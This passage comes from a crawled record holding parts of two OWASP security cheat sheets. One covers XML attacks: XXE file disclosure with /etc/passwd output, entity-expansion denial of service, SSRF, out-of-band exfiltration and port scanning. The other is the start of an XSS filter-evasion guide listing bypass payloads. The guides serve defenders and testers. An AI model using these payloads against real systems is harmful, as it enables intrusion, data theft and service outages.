contents of a location controlled by an attacker.\n\n##### Evil Employee Attack¶\n\nWhen third parties host and define schemas, the contents are not under the control of the schemas' users. **Any modifications introduced by a malicious employee-or an external attacker in control of these files-could impact all users processing the schemas. Subsequently, attackers could affect the confidentiality, integrity, or availability of other services (especially if the schema in use is [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp)).**\n\n### XML Entity Expansion¶\n\n**If the parser uses a [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp), an attacker might inject data that may adversely affect the XML parser during document processing. These adverse effects could include the parser crashing or accessing local files.\n\n#### Sample Vulnerable Java Implementations¶\n\n**Using the [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp) capabilities of referencing local or remote files it is possible to affect file confidentiality.** In addition, it is also possible to affect the availability of the resources if no proper restrictions have been set for the entities expansion. Consider the following example code of an XXE.\n\n**Sample XML**:\n\n```\n John &xxe; \n```\n\n**Sample DTD**:\n\n```\n \n```\n\n##### XXE using DOM¶\n\n```\nimport java.io.IOException; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; import org.xml.sax.InputSource; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.Node; import org.w3c.dom.NodeList; public class parseDocument { public static void main(String[] args) { try { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); Document doc = builder.parse(new InputSource(\"contacts.xml\")); NodeList nodeList = doc.getElementsByTagName(\"contact\"); for (int s = 0; s < nodeList.getLength(); s++) { Node firstNode = nodeList.item(s); if (firstNode.getNodeType() == Node.ELEMENT_NODE) { Element firstElement = (Element) firstNode; NodeList firstNameElementList = firstElement.getElementsByTagName(\"firstname\"); Element firstNameElement = (Element) firstNameElementList.item(0); NodeList firstName = firstNameElement.getChildNodes(); System.out.println(\"First Name: \" + ((Node) firstName.item(0)).getNodeValue()); NodeList lastNameElementList = firstElement.getElementsByTagName(\"lastname\"); Element lastNameElement = (Element) lastNameElementList.item(0); NodeList lastName = lastNameElement.getChildNodes(); System.out.println(\"Last Name: \" + ((Node) lastName.item(0)).getNodeValue()); } } } catch (Exception e) { e.printStackTrace(); } } } \n```\n\nThe previous code produces the following output:\n\n```\n$ javac parseDocument.java ; java parseDocument\nFirst Name: John\nLast Name: ### User Database\n...\nnobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false\nroot:*:0:0:System Administrator:/var/root:/bin/sh\n```\n\n##### XXE using DOM4J¶\n\n```\nimport org.dom4j.Document; import org.dom4j.DocumentException; import org.dom4j.io.SAXReader; import org.dom4j.io.OutputFormat; import org.dom4j.io.XMLWriter; public class test1 { public static void main(String[] args) { Document document = null; try { SAXReader reader = new SAXReader(); document = reader.read(\"contacts.xml\"); } catch (Exception e) { e.printStackTrace(); } OutputFormat format = OutputFormat.createPrettyPrint(); try { XMLWriter writer = new XMLWriter( System.out, format ); writer.write( document ); } catch (Exception e) { e.printStackTrace(); } } } \n```\n\nThe previous code produces the following output:\n\n```\n$ java test1\n\n\n\n\n \n John\n ### User Database\n...\nnobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false\nroot:*:0:0:System Administrator:/var/root:/bin/sh\n```\n\n##### XXE using SAX¶\n\n```\nimport java.io.IOException; import javax.xml.parsers.SAXParser; import javax.xml.parsers.SAXParserFactory; import org.xml.sax.SAXException; import org.xml.sax.helpers.DefaultHandler; public class parseDocument extends DefaultHandler { public static void main(String[] args) { new parseDocument(); } public parseDocument() { try { SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); parser.parse(\"contacts.xml\", this); } catch (Exception e) { e.printStackTrace(); } } @Override public void characters(char[] ac, int i, int j) throws SAXException { String tmpValue = new String(ac, i, j); System.out.println(tmpValue); } } \n```\n\nThe previous code produces the following output:\n\n```\n$ java parseDocument\nJohn\n#### User Database\n...\nnobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false\nroot:*:0:0:System Administrator:/var/root:/bin/sh\n```\n\n##### XXE using StAX¶\n\n```\nimport javax.xml.parsers.SAXParserFactory; import javax.xml.stream.XMLStreamReader; import javax.xml.stream.XMLInputFactory; import java.io.File; import java.io.FileReader; import java.io.FileInputStream; public class parseDocument { public static void main(String[] args) { try { XMLInputFactory xmlif = XMLInputFactory.newInstance(); FileReader fr = new FileReader(\"contacts.xml\"); File file = new File(\"contacts.xml\"); XMLStreamReader xmlfer = xmlif.createXMLStreamReader(\"contacts.xml\", new FileInputStream(file)); int eventType = xmlfer.getEventType(); while (xmlfer.hasNext()) { eventType = xmlfer.next(); if(xmlfer.hasText()){ System.out.print(xmlfer.getText()); } } fr.close(); } catch (Exception e) { e.printStackTrace(); } } } \n```\n\nThe previous code produces the following output:\n\n```\n$ java parseDocument\nJohn### User Database\n...\nnobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false\nroot:*:0:0:System Administrator:/var/root:/bin/sh\n```\n\n#### Recursive Entity Reference¶\n\n**When the definition of an element `A` is another element `B`, and that element `B` is defined as element `A`, that schema describes a circular reference between elements:**\n\n```\n &B;\">\n \n]>\n&A; \n```\n\n#### Quadratic Blowup¶\n\n**Instead of defining multiple small, deeply nested entities, the attacker in this scenario defines one very large entity and refers to it as many times as possible, resulting in a quadratic expansion (*O(n^2)*).**\n\nThe result of the following attack will be 100,000 x 100,000 characters in memory.\n\n```\n \n]>\n&A;&A;&A;&A;...(a 100.000 &A;'s)...&A;&A;&A;&A;&A; \n```\n\n#### Billion Laughs¶\n\n**When an XML parser tries to resolve the external entities included within the following code, it will cause the application to start consuming all of the available memory until the process crashes.** This is an example XML document with an embedded [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp) schema including the attack:\n\n```\n \n]>\n&LOL9; \n```\n\nThe entity `LOL9` will be resolved as the 10 entities defined in `LOL8`; then each of these entities will be resolved in `LOL7` and so on. Finally, the CPU and/or memory will be affected by parsing the `3 x 10^9` (3,000,000,000) entities defined in this schema, which could make the parser crash.\n\n**The Simple Object Access Protocol ([SOAP](https://en.wikipedia.org/wiki/SOAP)) specification forbids [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp)s completely. This means that a SOAP processor can reject any SOAP message that contains a [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp). Despite this specification, certain SOAP implementations did parse [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp) schemas within SOAP messages.**\n\nThe following example illustrates a case where the parser is not following the specification, enabling a reference to a [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp) in a SOAP message:\n\n```\n \n]>\n FOO \n```\n\n#### Reflected File Retrieval¶\n\nConsider the following example code of an XXE:\n\n```\n \n]>\n&xxe; \n```\n\n**The previous XML defines an entity named `xxe`, which is in fact the contents of `/etc/passwd`, which will be expanded within the `includeme` tag. If the parser allows references to external entities, it might include the contents of that file in the XML response or in the error output.**\n\n#### Server Side Request Forgery¶\n\n**Server Side Request Forgery (SSRF) happens when the server receives a malicious XML schema, which makes the server retrieve remote resources such as a file via HTTP/HTTPS/FTP, etc.** SSRF has been used to retrieve remote files, to prove a XXE when you cannot reflect back the file or perform port scanning, or perform brute force attacks on internal networks.\n\n##### External DNS Resolution¶\n\n**Sometimes it is possible to induce the application to perform server-side DNS lookups of arbitrary domain names.** This is one of the simplest forms of SSRF, but requires the attacker to analyze the DNS traffic. Burp has a plugin that checks for this attack.\n\n```\n \n```\n\n##### External Connection¶\n\nWhenever there is an XXE and you cannot retrieve a file, you can test if you would be able to establish remote connections:\n\n```\n %xxe;\n]>\n```\n\n##### File Retrieval with Parameter Entities¶\n\nParameter entities allows for the retrieval of content using URL references. Consider the following malicious XML document:\n\n```\n %dtd;\n]>\n&send; \n```\n\nHere the [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp) defines two external parameter entities: `file` loads a local file, and `dtd` which loads a remote [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp). The remote [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp) should contain something like this:\n\n```\n \">\n%all;\n```\n\nThe second [DTD](https://www.w3schools.com/xml/xml_dtd_intro.asp) causes the system to send the contents of the `file` back to the attacker's server as a parameter of the URL.\n\n##### Port Scanning¶\n\nThe amount and type of information generated by port scanning will depend on the type of implementation. Responses can be classified as follows, ranking from easy to complex:\n\n**1) Complete Disclosure**: This is the simplest and most unusual scenario, with complete disclosure you can clearly see what's going on by receiving the complete responses from the server being queried. You have an exact representation of what happened when connecting to the remote host.\n\n**2) Error-based**: If you are unable to see the response from the remote server, you may be able to use the information generated by the error response. Consider a web service leaking details on what went wrong in the SOAP Fault element when trying to establish a connection:\n\n```\njava.io.IOException: Server returned HTTP response code: 401 for URL: http://192.168.1.1:80\n at sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1459)\n at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(XMLEntityManager.java:674)\n```\n\n**3) Timeout-based**: The scanner could generate timeouts when it connects to open or closed ports depending on the schema and the underlying implementation. If the timeouts occur while you are trying to connect to a closed port (which may take one minute), the time of response when connected to a valid port will be very quick (one second, for example). The differences between open and closed ports becomes quite clear.\n\n**4) Time-based**: Sometimes it may be difficult to tell the differences between closed and open ports because the results are very subtle. The only way to know the status of a port with certainty would be to take multiple measurements of the time required to reach each host, then you should analyze the average time for each port to determinate the status of each port. This type of attack will be difficult to accomplish if it is performed in higher latency networks.\n\n##### Brute Forcing¶\n\n**Once an attacker confirms that it is possible to perform a port scan, performing a brute force attack is a matter of embedding the `username` and `password` as part of the URI scheme (http, ftp, etc).** For example, see the following example:\n\n```\n\n]>\n&user; \n```", "znaku_textu": 41148, "slov": 5577, "odkazu": 186, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:24", "sha256": "ef29e378d3c4de0de1a5edfae01fb536a11fe163a3b2e43bd2f134956dfb545e", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://www.w3schools.com/xml/xml_dtd_intro.asp", "https://en.wikipedia.org/wiki/SOAP", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html", "titulek": "XSS Filter Evasion - OWASP Cheat Sheet Series", "h1": "XSS Filter Evasion Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "XSS Filter Evasion Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Tests¶"}, {"uroven": 3, "text": "Basic XSS Test Without Filter Evasion¶"}, {"uroven": 3, "text": "XSS Locator (Polyglot)¶"}, {"uroven": 3, "text": "Malformed A Tags¶"}, {"uroven": 3, "text": "Malformed IMG Tags¶"}, {"uroven": 3, "text": "fromCharCode¶"}, {"uroven": 3, "text": "Default SRC Tag to Get Past Filters that Check SRC Domain¶"}, {"uroven": 3, "text": "Default SRC Tag by Leaving it Empty¶"}, {"uroven": 3, "text": "Default SRC Tag by Leaving it out Entirely¶"}, {"uroven": 3, "text": "On Error Alert¶"}, {"uroven": 3, "text": "IMG onerror and JavaScript Alert Encode¶"}, {"uroven": 3, "text": "Decimal HTML Character References¶"}, {"uroven": 3, "text": "Decimal HTML Character References Without Trailing Semicolons¶"}, {"uroven": 3, "text": "Hexadecimal HTML Character References Without Trailing Semicolons¶"}, {"uroven": 3, "text": "Embedded Tab¶"}, {"uroven": 3, "text": "Embedded Encoded Tab¶"}, {"uroven": 3, "text": "Embedded Newline to Break Up XSS¶"}, {"uroven": 4, "text": "Example 1: Break Up XSS Attack with Embedded Carriage Return¶"}, {"uroven": 4, "text": "Example 2: Break Up JavaScript Directive with Null¶"}, {"uroven": 4, "text": "Example 3: Spaces and Meta Chars Before the JavaScript in Images for XSS¶"}, {"uroven": 4, "text": "Example 4: Non-alpha-non-digit XSS¶"}, {"uroven": 3, "text": "Extraneous Open Brackets¶"}, {"uroven": 3, "text": "No Closing Script Tags¶"}, {"uroven": 3, "text": "Protocol Resolution in Script Tags¶"}, {"uroven": 3, "text": "Half Open HTML/JavaScript XSS Vector¶"}, {"uroven": 3, "text": "Escaping JavaScript Escapes¶"}, {"uroven": 3, "text": "End Title Tag¶"}, {"uroven": 4, "text": "INPUT Image¶"}, {"uroven": 4, "text": "BODY Image¶"}, {"uroven": 4, "text": "IMG Dynsrc¶"}, {"uroven": 4, "text": "IMG Lowsrc¶"}, {"uroven": 3, "text": "List-style-image¶"}, {"uroven": 3, "text": "VBscript in an Image¶"}, {"uroven": 3, "text": "SVG Object Tag¶"}, {"uroven": 3, "text": "ECMAScript 6¶"}, {"uroven": 3, "text": "BODY Tag¶"}, {"uroven": 4, "text": "Attacks Using Event Handlers¶"}, {"uroven": 4, "text": "BGSOUND¶"}, {"uroven": 4, "text": "& JavaScript includes¶"}, {"uroven": 4, "text": "STYLE sheet¶"}, {"uroven": 3, "text": "Remote style sheet¶"}, {"uroven": 4, "text": "Remote style sheet part 2¶"}, {"uroven": 4, "text": "Remote style sheet part 3¶"}, {"uroven": 3, "text": "STYLE Tags that Breaks Up JavaScript for XSS¶"}, {"uroven": 3, "text": "STYLE Attribute that Breaks Up an Expression¶"}, {"uroven": 3, "text": "IMG STYLE with Expressions¶"}, {"uroven": 3, "text": "STYLE Tag using Background-image¶"}, {"uroven": 3, "text": "STYLE Tag using Background¶"}, {"uroven": 3, "text": "Anonymous HTML with STYLE Attribute¶"}, {"uroven": 3, "text": "Local htc File¶"}, {"uroven": 3, "text": "US-ASCII Encoding¶"}, {"uroven": 3, "text": "META¶"}, {"uroven": 4, "text": "META using Data¶"}, {"uroven": 4, "text": "META with Additional URL Parameter¶"}, {"uroven": 3, "text": "IFRAME¶"}, {"uroven": 3, "text": "IFRAME Event Based¶"}, {"uroven": 3, "text": "FRAME¶"}, {"uroven": 3, "text": "TABLE¶"}, {"uroven": 4, "text": "TD¶"}, {"uroven": 3, "text": "DIV¶"}, {"uroven": 4, "text": "DIV Background-image¶"}, {"uroven": 4, "text": "DIV Background-image with Unicode XSS Exploit¶"}, {"uroven": 4, "text": "DIV Background-image Plus Extra Characters¶"}, {"uroven": 4, "text": "DIV Expression¶"}, {"uroven": 3, "text": "Downlevel-Hidden Block¶"}, {"uroven": 3, "text": "BASE Tag¶"}, {"uroven": 3, "text": "OBJECT Tag¶"}, {"uroven": 3, "text": "EMBED SVG Which Contains XSS Vector¶"}, {"uroven": 3, "text": "XML Data Island with CDATA Obfuscation¶"}, {"uroven": 3, "text": "Locally hosted XML with embedded JavaScript that is generated using an XML data island¶"}, {"uroven": 3, "text": "HTML+TIME in XML¶"}, {"uroven": 3, "text": "Assuming you can only fit in a few characters and it filters against .js¶"}, {"uroven": 3, "text": "SSI (Server Side Includes)¶"}, {"uroven": 3, "text": "PHP¶"}, {"uroven": 3, "text": "IMG Embedded Commands¶"}, {"uroven": 4, "text": "IMG Embedded Commands part II¶"}, {"uroven": 3, "text": "XSS Using HTML Quote Encapsulation¶"}, {"uroven": 3, "text": "URL String Evasion¶"}, {"uroven": 4, "text": "IP Versus Hostname¶"}, {"uroven": 4, "text": "URL Encoding¶"}, {"uroven": 4, "text": "DWORD Encoding¶"}, {"uroven": 4, "text": "Hex Encoding¶"}, {"uroven": 4, "text": "Octal Encoding¶"}, {"uroven": 4, "text": "Base64 Encoding¶"}, {"uroven": 4, "text": "Mixed Encoding¶"}, {"uroven": 4, "text": "Protocol Resolution Bypass¶"}, {"uroven": 4, "text": "Removing CNAMEs¶"}, {"uroven": 4, "text": "JavaScript Link Location¶"}, {"uroven": 4, "text": "Content Replace as Attack Vector¶"}, {"uroven": 3, "text": "Assisting XSS with HTTP Parameter Pollution¶"}, {"uroven": 4, "text": "Content Page Source Code¶"}, {"uroven": 4, "text": "Content Page Output¶"}, {"uroven": 2, "text": "Character Escape Sequences¶"}, {"uroven": 2, "text": "Methods to Bypass WAF – Cross-Site Scripting¶"}, {"uroven": 3, "text": "General issues¶"}, {"uroven": 4, "text": "Stored XSS¶"}, {"uroven": 4, "text": "Reflected XSS in JavaScript¶"}, {"uroven": 4, "text": "DOM-based XSS¶"}, {"uroven": 4, "text": "XSS via request Redirection¶"}, {"uroven": 3, "text": "WAF ByPass Strings for XSS¶"}], "markdown": "# XSS Filter Evasion Cheat Sheet¶\n\n## Introduction¶\n\nThis article is a guide to Cross Site Scripting (XSS) testing for application security professionals. This cheat sheet was originally based on RSnake's seminal XSS Cheat Sheet previously at: `http://ha.ckers.org/xss.html`. Now, the OWASP Cheat Sheet Series provides users with an updated and maintained version of the document. The very first OWASP Cheat Sheet, [Cross Site Scripting Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html), was inspired by RSnake's work and we thank RSnake for the inspiration!\n\n## Tests¶\n\nThis cheat sheet demonstrates that input filtering is an incomplete defense for XSS by supplying testers with a series of XSS attacks that can bypass certain XSS defensive filters.\n\n### Basic XSS Test Without Filter Evasion¶\n\nThis attack, which uses normal XSS JavaScript injection, serves as a baseline for the cheat sheet (the quotes are not required in any modern browser so they are omitted here):\n\n```\n \n```\n\n### XSS Locator (Polyglot)¶\n\nThis test delivers a 'polyglot test XSS payload' that executes in multiple contexts, including HTML, script strings, JavaScript, and URLs:\n\n```\njavascript:/*--> \n```\n\n(Based on this [tweet](https://twitter.com/garethheyes/status/997466212190781445) by [Gareth Heyes](https://twitter.com/garethheyes)).\n\n### Malformed A Tags¶\n\nThis test skips the [`href`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#href) attribute to demonstrate an XSS attack using event handlers:\n\n```\n\\xxs link\\ \n```\n\nChrome automatically inserts missing quotes for you. If you encounter issues, try omitting them and Chrome will correctly place the missing quotes in URLs or scripts for you:\n\n```\n\\xxs link\\ \n```\n\n(Submitted by David Cross, Verified on Chrome)\n\n### Malformed IMG Tags¶\n\nThis XSS method uses the relaxed rendering engine to create an XSS vector within an IMG tag (which needs to be encapsulated within quotes). We believe this approach was originally meant to correct sloppy coding and it would also make it significantly more difficult to correctly parse HTML tags:\n\n```\n\"\\>\n```\n\n(Originally found by Begeek, but it was cleaned up and shortened to work in all browsers)\n\n### fromCharCode¶\n\nIf the system does not allow quotes of any kind, you can `eval()` a `fromCharCode` in JavaScript to create any XSS vector you need:\n\n```\nClick Me! \n```\n\n### Default SRC Tag to Get Past Filters that Check SRC Domain¶\n\nThis attack will bypass most SRC domain filters. Inserting JavaScript in an event handler also applies to any HTML tag type injection using elements like Form, Iframe, Input, Embed, etc. This also allows the substitution of any relevant event for the tag type, such as `onblur` or `onclick`, providing extensive variations of the injections listed here:\n\n```\n \n```\n\n(Submitted by David Cross and edited by Abdullah Hussam)\n\n### Default SRC Tag by Leaving it Empty¶\n\n```\n \n```\n\n### Default SRC Tag by Leaving it out Entirely¶\n\n```\n \n```\n\n### On Error Alert¶\n\n```\n \n```\n\n### IMG onerror and JavaScript Alert Encode¶\n\n```\n \n```\n\n### Decimal HTML Character References¶\n\nSince XSS examples that use a `javascript:` directive inside an `Click Me! \n```\n\n### Decimal HTML Character References Without Trailing Semicolons¶\n\nThis is often effective in bypassing XSS filters that look for the string `&\\#XX;`, since most people don't know about padding - which can be used up to 7 numeric characters total. This is also useful against filters that decode against strings like `$tmp\\_string =\\~ s/.\\*\\\\&\\#(\\\\d+);.\\*/$1/;` which incorrectly assumes a semicolon is required to terminate a HTML encoded string (This has been seen in the wild):\n\n```\nClick Me \n```\n\n### Hexadecimal HTML Character References Without Trailing Semicolons¶\n\nThis attack is also viable against the filter for the string `$tmp\\_string=\\~ s/.\\*\\\\&\\#(\\\\d+);.\\*/$1/;`, because it assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters:\n\n```\nClick Me \n```\n\n### Embedded Tab¶\n\nThis approach breaks up the XSS attack:\n\n```\n Click Me \n```\n\n### Embedded Encoded Tab¶\n\nThis approach can also break up XSS:\n\n```\n Click Me \n```\n\n### Embedded Newline to Break Up XSS¶\n\nWhile some defenders claim that any of the chars 09-13 (decimal) will work for this attack, this is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. Examine the [ASCII table](https://man7.org/linux/man-pages/man7/ascii.7.html) for reference. The next four XSS attack examples illustrate this vector:\n\n```\nClick Me \n```\n\n#### Example 1: Break Up XSS Attack with Embedded Carriage Return¶\n\n(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):\n\n```\nClick Me \n```\n\n#### Example 2: Break Up JavaScript Directive with Null¶\n\nNull chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use `%00` in the URL string or if you want to write your own injection tool you can either use vim (`^V^@` will produce a null) or the following program to generate it into a text file. The null char `%00` is much more useful and helped me bypass certain real world filters with a variation on this example:\n\n```\nperl -e 'print \"\";' > out\n```\n\n#### Example 3: Spaces and Meta Chars Before the JavaScript in Images for XSS¶\n\nThis is useful if a filter's pattern match doesn't take into account spaces in the word `javascript:`, which is correct since that won't render, but makes the false assumption that you can't have a space between the quote and the `javascript:` keyword. The actual reality is you can have any char from 1-32 in decimal:\n\n```\nClick Me \n```\n\n#### Example 4: Non-alpha-non-digit XSS¶\n\nThe Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example `\\ \n```\n\nBased on the same idea as above, however, expanded on it, using Rsnake's fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:\n\n```\n \n```\n\nYair Amit noted that there is a slightly different behavior between the Trident (IE) and Gecko (Firefox) rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful in a attack if the system does not allow spaces:\n\n```\n \n```\n\n### Extraneous Open Brackets¶\n\nThis XSS vector could defeat certain detection engines that work by checking matching pairs of open and close angle brackets then comparing the tag inside, instead of a more efficient algorithm like [Boyer-Moore](https://en.wikipedia.org/wiki/Boyer%E2%80%93Moore_string-search_algorithm) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to suppress a JavaScript error:\n\n```\n< \n```\n\n(Submitted by Franz Sedlmaier)\n\n### No Closing Script Tags¶\n\nWith Firefox, you don't actually need the `\\>` portion of this XSS vector, because Firefox assumes it's safe to close the HTML tag and adds closing tags for you. Unlike the next attack, which doesn't affect Firefox, this method does not require any additional HTML below it. You can add quotes if you need to, but they're normally not needed:\n\n```\n \n```\n\n### Protocol Resolution in Script Tags¶\n\nThis particular variant is partially based on Ozh's protocol resolution bypass below, and it works in IE and Edge in compatibility mode. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The `.j` is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag:\n\n```\n \n```\n\n(Submitted by Łukasz Pilorz)\n\n### Half Open HTML/JavaScript XSS Vector¶\n\nUnlike Firefox, the IE rendering engine (Trident) doesn't add extra data to your page, but it does allow the `javascript:` directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this XSS vector. Even though there is no close `\\>` tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following network intrusion detection system (NIDS) regex: `/((\\\\%3D)|(=))\\[^\\\\n\\]\\*((\\\\%3C)|\\<)\\[^\\\\n\\]+((\\\\%3E)|\\>)/` because it doesn't require the end `\\>`. As a side note, this was also affective against a real world XSS filter using an open ended ``('XSS')\" \n```\n\n### Escaping JavaScript Escapes¶\n\nIf an application is written to output some user information inside of a JavaScript (like the following: ``) and you want to inject your own JavaScript into it but the server side application escapes certain quotes, you can circumvent that by escaping their escape character. When this gets injected it will read `` which ends up un-escaping the double quote and causing the XSS vector to fire. The XSS locator uses this method:\n\n```\n\\\";alert('XSS');// \n```\n\nAn alternative, if correct JSON or JavaScript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:\n\n```\n \n```\n\n### End Title Tag¶\n\nThis is a simple XSS vector that closes `` tags, which can encapsulate the malicious cross site scripting attack:\n\n```\n \n```\n\n#### INPUT Image¶\n\n```\n \n```\n\n#### BODY Image¶\n\n```\n \n```\n\n#### IMG Dynsrc¶\n\n```\n \n```\n\n#### IMG Lowsrc¶\n\n```\n \n```\n\n### List-style-image¶\n\nThis esoteric attack focuses on embedding images for bulleted lists. It will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful XSS vector:\n\n```\n
  • XSS
    \n```\n\n### VBscript in an Image¶\n\n```\n \n```\n\n### SVG Object Tag¶\n\n```\n \n```\n\n### ECMAScript 6¶\n\n```\nSet.constructor`alert\\x28document.domain\\x29 \n```\n\n### BODY Tag¶\n\nThis attack doesn't require using any variants of `javascript:` or ` \n```\n\n#### Attacks Using Event Handlers¶\n\nThe attack with the BODY tag can be modified for use in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.\n\nThe [Dottoro Web Reference](http://help.dottoro.com/) also has a nice [list of events in JavaScript](http://help.dottoro.com/ljfvvdnm.php).\n\n- `onAbort()` (when user aborts the loading of an image)\n- `onActivate()` (when object is set as the active element)\n- `onAfterPrint()` (activates after user prints or previews print job)\n- `onAfterUpdate()` (activates on data object after updating data in the source object)\n- `onBeforeActivate()` (fires before the object is set as the active element)\n- `onBeforeCopy()` (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the `execCommand(\"Copy\")` function)\n- `onBeforeCut()` (attacker executes the attack string right before a selection is cut)\n- `onBeforeDeactivate()` (fires right after the activeElement is changed from the current object)\n- `onBeforeEditFocus()` (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)\n- `onBeforePaste()` (user needs to be tricked into pasting or be forced into it using the `execCommand(\"Paste\")` function)\n- `onBeforePrint()` (user would need to be tricked into printing or attacker could use the `print()` or `execCommand(\"Print\")` function).\n- `onBeforeUnload()` (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)\n- `onBeforeUpdate()` (activates on data object before updating data in the source object)\n- `onBegin()` (the onbegin event fires immediately when the element's timeline begins)\n- `onBlur()` (in the case where another popup is loaded and window looses focus)\n- `onBounce()` (fires when the behavior property of the marquee object is set to \"alternate\" and the contents of the marquee reach one side of the window)\n- `onCellChange()` (fires when data changes in the data provider)\n- `onChange()` (select, text, or TEXTAREA field loses focus and its value has been modified)\n- `onClick()` (someone clicks on a form)\n- `onContextMenu()` (user would need to right click on attack area)\n- `onControlSelect()` (fires when the user is about to make a control selection of the object)\n- `onCopy()` (user needs to copy something or it can be exploited using the `execCommand(\"Copy\")` command)\n- `onCut()` (user needs to copy something or it can be exploited using the `execCommand(\"Cut\")` command)\n- `onDataAvailable()` (user would need to change data in an element, or attacker could perform the same function)\n- `onDataSetChanged()` (fires when the data set exposed by a data source object changes)\n- `onDataSetComplete()` (fires to indicate that all data is available from the data source object)\n- `onDblClick()` (user double-clicks a form element or a link)\n- `onDeactivate()` (fires when the activeElement is changed from the current object to another object in the parent document)\n- `onDrag()` (requires that the user drags an object)\n- `onDragEnd()` (requires that the user drags an object)\n- `onDragLeave()` (requires that the user drags an object off a valid location)\n- `onDragEnter()` (requires that the user drags an object into a valid location)\n- `onDragOver()` (requires that the user drags an object into a valid location)\n- `onDragDrop()` (user drops an object (e.g. file) onto the browser window)\n- `onDragStart()` (occurs when user starts drag operation)\n- `onDrop()` (user drops an object (e.g. file) onto the browser window)\n- `onEnd()` (the onEnd event fires when the timeline ends.\n- `onError()` (loading of a document or image causes an error)\n- `onErrorUpdate()` (fires on a data bound object when an error occurs while updating the associated data in the data source object)\n- `onFilterChange()` (fires when a visual filter completes state change)\n- `onFinish()` (attacker can create the exploit when marquee is finished looping)\n- `onFocus()` (attacker executes the attack string when the window gets focus)\n- `onFocusIn()` (attacker executes the attack string when window gets focus)\n- `onFocusOut()` (attacker executes the attack string when window looses focus)\n- `onHashChange()` (fires when the fragment identifier part of the document's current address changed)\n- `onHelp()` (attacker executes the attack string when users hits F1 while the window is in focus)\n- `onInput()` (the text content of an element is changed through the user interface)\n- `onKeyDown()` (user depresses a key)\n- `onKeyPress()` (user presses or holds down a key)\n- `onKeyUp()` (user releases a key)\n- `onLayoutComplete()` (user would have to print or print preview)\n- `onLoad()` (attacker executes the attack string after the window loads)\n- `onLoseCapture()` (can be exploited by the `releaseCapture()` method)\n- `onMediaComplete()` (When a streaming media file is used, this event could fire before the file starts playing)\n- `onMediaError()` (User opens a page in the browser that contains a media file, and the event fires when there is a problem)\n- `onMessage()` (fire when the document received a message)\n- `onMouseDown()` (the attacker would need to get the user to click on an image)\n- `onMouseEnter()` (cursor moves over an object or area)\n- `onMouseLeave()` (the attacker would need to get the user to mouse over an image or table and then off again)\n- `onMouseMove()` (the attacker would need to get the user to mouse over an image or table)\n- `onMouseOut()` (the attacker would need to get the user to mouse over an image or table and then off again)\n- `onMouseOver()` (cursor moves over an object or area)\n- `onMouseUp()` (the attacker would need to get the user to click on an image)\n- `onMouseWheel()` (the attacker would need to get 